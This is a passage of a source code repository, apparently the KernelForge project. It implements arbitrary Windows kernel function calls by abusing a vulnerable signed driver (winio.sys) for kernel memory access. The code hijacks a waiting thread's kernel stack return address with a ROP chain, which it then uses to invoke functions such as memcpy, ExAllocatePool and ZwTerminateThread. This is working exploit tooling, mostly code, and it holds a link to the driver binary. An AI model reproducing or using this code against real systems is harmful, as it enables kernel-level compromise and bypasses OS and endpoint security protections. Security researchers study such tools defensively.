403 | {
404 | M_FREE(m_KernelImage);
405 |
406 | m_KernelImage = NULL;
407 | m_dwKernelImageSize = 0;
408 | }
409 |
410 | // unload loldriver in case of error
411 | DriverUninit();
412 | }
413 |
414 | return m_bInitialized;
415 | }
416 | //--------------------------------------------------------------------------------------
417 | BOOL KfUninit(void)
418 | {
419 | if (m_KernelImage)
420 | {
421 | M_FREE(m_KernelImage);
422 |
423 | m_KernelImage = NULL;
424 | m_dwKernelImageSize = 0;
425 | }
426 |
427 | m_bInitialized = FALSE;
428 |
429 | // unload loldriver
430 | return DriverUninit();
431 | }
432 | //--------------------------------------------------------------------------------------
433 | static DWORD WINAPI DummyThread(LPVOID lpParam)
434 | {
435 | HANDLE hEvent = lpParam;
436 |
437 | #ifdef DBG_CALL
438 |
439 | DbgMsg(
440 | __FILE__, __LINE__,
441 | "Putting thread %x:%x into the waitable state...\n", GetCurrentProcessId(), GetCurrentThreadId()
442 | );
443 |
444 | #endif
445 |
446 | WaitForSingleObject(hEvent, INFINITE);
447 |
448 | #ifdef DBG_CALL
449 |
450 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): EXIT\n");
451 |
452 | #endif
453 |
454 | return 0;
455 | }
456 |
457 | BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal)
458 | {
459 | BOOL bRet = FALSE;
460 | HANDLE hThread = NULL, hEvent = NULL;
461 | PVOID RetVal = NULL;
462 |
463 | if (!m_bInitialized)
464 | {
465 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
466 | return FALSE;
467 | }
468 |
469 | if (dwArgsCount > MAX_ARGS)
470 | {
471 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Too many arguments\n");
472 | return FALSE;
473 | }
474 |
475 | // create waitable event
476 | if ((hEvent = CreateEvent(NULL, FALSE, FALSE, NULL)) == NULL)
477 | {
478 | DbgMsg(__FILE__, __LINE__, "CreateEvent() ERROR %d\n", GetLastError());
479 | goto _end;
480 | }
481 |
482 | DWORD dwThreadId = 0;
483 |
484 | // create dummy thread
485 | if ((hThread = CreateThread(NULL, 0, DummyThread, hEvent, 0, &dwThreadId)) == NULL)
486 | {
487 | DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
488 | goto _end;
489 | }
490 |
491 | while (true)
492 | {
493 | // determine current state of dummy thread
494 | DWORD State = GetThreadState(GetCurrentProcessId(), dwThreadId);
495 | if (State == -1)
496 | {
497 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetThreadState() fails\n");
498 | goto _end;
499 | }
500 |
501 | if (State == Waiting)
502 | {
503 | // thread was entered into the wait state
504 | break;
505 | }
506 |
507 | SwitchToThread();
508 | }
509 |
510 | // get _KTHREAD address by handle
511 | PVOID pThread = GetObjectAddress(hThread);
512 | if (pThread == NULL)
513 | {
514 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetObjectAddress() fails\n");
515 | goto _end;
516 | }
517 |
518 | #ifdef DBG_CALL
519 |
520 | DbgMsg(__FILE__, __LINE__, "_KTHREAD is at "IFMT"\n", pThread);
521 |
522 | #endif
523 |
524 | PUCHAR StackBase = NULL, KernelStack = NULL;
525 |
526 | // get stack base of the thread
527 | if (!MemReadPtr(RVATOVA(pThread, KTHREAD_StackBase), (PVOID *)&StackBase))
528 | {
529 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
530 | goto _end;
531 | }
532 |
533 | // get stack pointer of the thread
534 | if (!MemReadPtr(RVATOVA(pThread, KTHREAD_KernelStack), (PVOID *)&KernelStack))
535 | {
536 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
537 | goto _end;
538 | }
539 |
540 | #ifdef DBG_CALL
541 |
542 | DbgMsg(__FILE__, __LINE__, "Thread kernel stack base is at "IFMT"\n", StackBase);
543 | DbgMsg(__FILE__, __LINE__, "Thread kernel stack pointer is at "IFMT"\n", KernelStack);
544 |
545 | #endif
546 |
547 | PVOID RetAddr = NULL;
548 | PUCHAR Ptr = StackBase - sizeof(PVOID);
549 |
550 | // walk over the kernel stack
551 | while (Ptr > KernelStack)
552 | {
553 | DWORD_PTR Val = 0;
554 |
555 | // read stack value
556 | if (!MemReadPtr(Ptr, (PVOID *)&Val))
557 | {
558 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n");
559 | goto _end;
560 | }
561 |
562 | /*
563 | Check for the return address from system call handler back to
564 | the nt!KiSystemServiceCopyEnd(), it's located at the bottom
565 | of the kernel stack.
566 | */
567 | if (Val > m_KernelAddr &&
568 | Val < m_KernelAddr + m_dwKernelSize)
569 | {
570 | RetAddr = Ptr;
571 | break;
572 | }
573 |
574 | // go to the next stack location
575 | Ptr -= sizeof(PVOID);
576 | }
577 |
578 | if (RetAddr == NULL)
579 | {
580 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to locate return address\n");
581 | goto _end;
582 | }
583 |
584 | #ifdef DBG_CALL
585 |
586 | DbgMsg(__FILE__, __LINE__, "Return address was found at "IFMT"\n", RetAddr);
587 |
588 | #endif
589 |
590 | #define STACK_PUT(_offset_, _val_) \
591 | \
592 | if (!MemWritePtr(RVATOVA(RetAddr, (_offset_)), (PVOID)(_val_))) \
593 | { \
594 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemWritePtr() fails\n"); \
595 | goto _end; \
596 | }
597 |
598 | // hijack the return address with forged function call
599 | STACK_PUT(0x00, m_RopAddr_1);
600 |
601 | // save an address for the forged function call
602 | STACK_PUT(0x08 + 0x20, ProcAddr);
603 |
604 | if (dwArgsCount > 0)
605 | {
606 | // 1-st argument goes in RCX
607 | STACK_PUT(0x08 + 0x28, Args[0]);
608 | }
609 |
610 | if (dwArgsCount > 1)
611 | {
612 | // 2-nd argument goes in RDX
613 | STACK_PUT(0x08 + 0x30, Args[1]);
614 | }
615 |
616 | if (dwArgsCount > 2)
617 | {
618 | // 3-rd argument goes in R8
619 | STACK_PUT(0x08 + 0x38, Args[2]);
620 | }
621 |
622 | if (dwArgsCount > 3)
623 | {
624 | // 4-th argument goes in R9
625 | STACK_PUT(0x08 + 0x40, Args[3]);
626 | }
627 |
628 | // reserve shadow space and 9 stack arguments
629 | STACK_PUT(0x50, m_RopAddr_2);
630 |
631 | for (DWORD i = 4; i < dwArgsCount; i += 1)
632 | {
633 | // the rest arguments goes over the stack right after the shadow space
634 | STACK_PUT(0x58 + 0x20 + ((i - 4) * sizeof(PVOID)), Args[i]);
635 | }
636 |
637 | // obtain RetVal address
638 | STACK_PUT(0xc0, m_RopAddr_3);
639 | STACK_PUT(0xc8, &RetVal);
640 |
641 | // save return value of the forged function call
642 | STACK_PUT(0xd0, m_RopAddr_4);
643 |
644 | // dummy gadget for stack alignment
645 | STACK_PUT(0xd8, m_RopAddr_5);
646 |
647 | // put the next function call
648 | STACK_PUT(0xe0, m_RopAddr_1);
649 |
650 | // forge nt!ZwTerminateThread() function call
651 | STACK_PUT(0xe8 + 0x20, m_ZwTerminateThread);
652 | STACK_PUT(0xe8 + 0x28, hThread);
653 | STACK_PUT(0xe8 + 0x30, THREAD_EXIT_CODE);
654 |
655 | SwitchToThread();
656 |
657 | _end:
658 |
659 | if (hEvent && hThread)
660 | {
661 | DWORD dwExitCode = 0;
662 |
663 | // put thread into the ready state
664 | SetEvent(hEvent);
665 | WaitForSingleObject(hThread, INFINITE);
666 |
667 | GetExitCodeThread(hThread, &dwExitCode);
668 |
669 | // check for the magic exit code set by forged call
670 | if (dwExitCode == THREAD_EXIT_CODE)
671 | {
672 | if (pRetVal)
673 | {
674 | // return value of the function
675 | *pRetVal = RetVal;
676 | }
677 |
678 | bRet = TRUE;
679 | }
680 | else
681 | {
682 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Something went wrong\n");
683 | }
684 | }
685 |
686 | if (hEvent)
687 | {
688 | CloseHandle(hEvent);
689 | }
690 |
691 | if (hThread)
692 | {
693 | CloseHandle(hThread);
694 | }
695 |
696 | return bRet;
697 | }
698 | //--------------------------------------------------------------------------------------
699 | BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal)
700 | {
701 | PVOID FuncAddr = NULL;
702 |
703 | // obtain target exported function address by its name
704 | if ((FuncAddr = KfGetKernelProcAddress(lpszProcName)) == NULL)
705 | {
706 | if (!strncmp(lpszProcName, "Zw", 2))
707 | {
708 | // try to obtain not exported Zw function address
709 | FuncAddr = KfGetKernelZwProcAddress(lpszProcName);
710 | }
711 | }
712 |
713 | if (FuncAddr == NULL)
714 | {
715 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find %s() address\n", lpszProcName);
716 | return FALSE;
717 | }
718 |
719 | DbgMsg(__FILE__, __LINE__, "nt!%s() is at "IFMT"\n", lpszProcName, FuncAddr);
720 |
721 | // perform the call
722 | return KfCallAddr(FuncAddr, Args, dwArgsCount, pRetVal);
723 | }
724 | //--------------------------------------------------------------------------------------
725 | PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size)
726 | {
727 | PVOID Ret = NULL;
728 | PVOID Args[] = { KF_ARG(Dst), KF_ARG(Src), KF_ARG(Size) };
729 |
730 | // perform memory copy operation
731 | if (KfCall("memcpy", Args, 3, &Ret))
732 | {
733 | return Ret;
734 | }
735 |
736 | return NULL;
737 | }
738 | //--------------------------------------------------------------------------------------
739 | PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size)
740 | {
741 | PVOID Ret = NULL;
742 | PVOID Args[] = { KF_ARG(Dst), KF_ARG(Val), KF_ARG(Size) };
743 |
744 | // perform memory fill operation
745 | if (KfCall("memset", Args, 3, &Ret))
746 | {
747 | return Ret;
748 | }
749 |
750 | return NULL;
751 | }
752 | //--------------------------------------------------------------------------------------
753 | PVOID KfHeapAllocData(SIZE_T Size, PVOID Data)
754 | {
755 | PVOID Ret = NULL;
756 | PVOID Args[] = { KF_ARG(NonPagedPool), KF_ARG(Size) };
757 |
758 | // allocate non paged kernel pool memory
759 | if (KfCall("ExAllocatePool", Args, 2, &Ret))
760 | {
761 | if (Data)
762 | {
763 | // copy the data into the allocated memory
764 | return KfMemCopy(Ret, Data, Size);
765 | }
766 |
767 | return Ret;
768 | }
769 |
770 | return NULL;
771 | }
772 |
773 | PVOID KfHeapAlloc(SIZE_T Size)
774 | {
775 | return KfHeapAllocData(Size, NULL);
776 | }
777 | //--------------------------------------------------------------------------------------
778 | void KfHeapFree(PVOID Addr)
779 | {
780 | PVOID Args[] = { KF_ARG(Addr) };
781 |
782 | // free kernel pool memory
783 | KfCall("ExFreePool", Args, 1, NULL);
784 | }
785 | //--------------------------------------------------------------------------------------
786 | // EoF
787 |
--------------------------------------------------------------------------------
/kforge_library/kforge_library.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}
31 | Win32Proj
32 | kforge_library
33 |
34 |
35 |
36 | StaticLibrary
37 | true
38 | v120
39 | MultiByte
40 |
41 |
42 | StaticLibrary
43 | false
44 | v120
45 | true
46 | MultiByte
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 | Level3
64 | Disabled
65 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)
66 | MultiThreadedDebug
67 | $(SolutionDir);$(ProjectDir)
68 | /D DBG %(AdditionalOptions)
69 | EnableFastChecks
70 |
71 |
72 | Windows
73 | true
74 |
75 |
76 | $(SolutionDir)$(TargetName)$(TargetExt)
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 | Level3
86 |
87 |
88 | MaxSpeed
89 | true
90 | true
91 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)
92 | $(SolutionDir);$(ProjectDir)
93 | MultiThreaded
94 | /D DBG %(AdditionalOptions)
95 |
96 |
97 | Windows
98 | true
99 | true
100 | true
101 |
102 |
103 | $(SolutionDir)$(TargetName)$(TargetExt)
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
--------------------------------------------------------------------------------
/kforge_library/kforge_library.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {d4d8c19d-1de9-45ef-8245-96b4b2e4d1a7}
18 |
19 |
20 | {ae12cdf3-788b-4a0a-87e7-8e9807718eb5}
21 |
22 |
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files\common
29 |
30 |
31 | Source Files\common
32 |
33 |
34 | Source Files\common
35 |
36 |
37 |
38 |
39 | Header Files\common
40 |
41 |
42 | Header Files\common
43 |
44 |
45 | Header Files\common
46 |
47 |
48 | Header Files\common
49 |
50 |
51 | Header Files
52 |
53 |
54 | Header Files
55 |
56 |
57 | Header Files
58 |
59 |
60 | Header Files\common
61 |
62 |
63 |
--------------------------------------------------------------------------------
/kforge_library/stdafx.h:
--------------------------------------------------------------------------------
1 | #pragma warning(disable: 4996)
2 |
3 | #include
4 |
5 | #include
6 | #include
7 |
8 | #include "common/ntdll_defs.h"
9 | #include "common/ntdll_undocnt.h"
10 | #include "common/common.h"
11 | #include "common/debug.h"
12 | #include "common/peimage.h"
13 |
14 | #include "include/kforge_driver.h"
15 | #include "include/kforge_library.h"
16 |
--------------------------------------------------------------------------------
/tools/make_header.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import sys, os
4 | from optparse import OptionParser
5 |
6 | LINE_WIDTH = 16
7 |
8 | def main():
9 |
10 | parser = OptionParser()
11 |
12 | parser.add_option("-i", "--input-path", dest = "input", default = None,
13 | help = "input binary path")
14 |
15 | parser.add_option("-o", "--output-path", dest = "output", default = None,
16 | help = "output C header path")
17 |
18 | parser.add_option("-n", "--name", dest = "name", default = None,
19 | help = "variable name")
20 |
21 | options, _ = parser.parse_args()
22 |
23 | if options.input is None or options.output is None or options.name is None:
24 |
25 | print('USAGE: trustlet_prepare.py -i -o -n ')
26 | return -1
27 |
28 | print('[+] Loading input file "%s"' % options.input)
29 |
30 | with open(options.input, 'rb') as fd:
31 |
32 | # read binary contents
33 | data = fd.read()
34 |
35 | header = '// %d bytes readed from %s\n' % (len(data), os.path.basename(options.input))
36 | header += 'unsigned char %s[] = \n{\n' % options.name
37 | lines = []
38 |
39 | while len(data) > 0:
40 |
41 | lines.append(', '.join(map(lambda b: '0x%.2x' % ord(b), data[: LINE_WIDTH])))
42 | data = data[LINE_WIDTH :]
43 |
44 | header += ',\n'.join(lines)
45 | header += '\n};\n'
46 |
47 | print('[+] Saving output file "%s"' % options.output)
48 |
49 | with open(options.output, 'wb') as fd:
50 |
51 | # write C header contents
52 | fd.write(header)
53 |
54 | return 0
55 |
56 | if __name__ == '__main__':
57 |
58 | exit(main())
59 |
60 | #
61 | # EoF
62 | #
--------------------------------------------------------------------------------
/winio.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/winio.sys
--------------------------------------------------------------------------------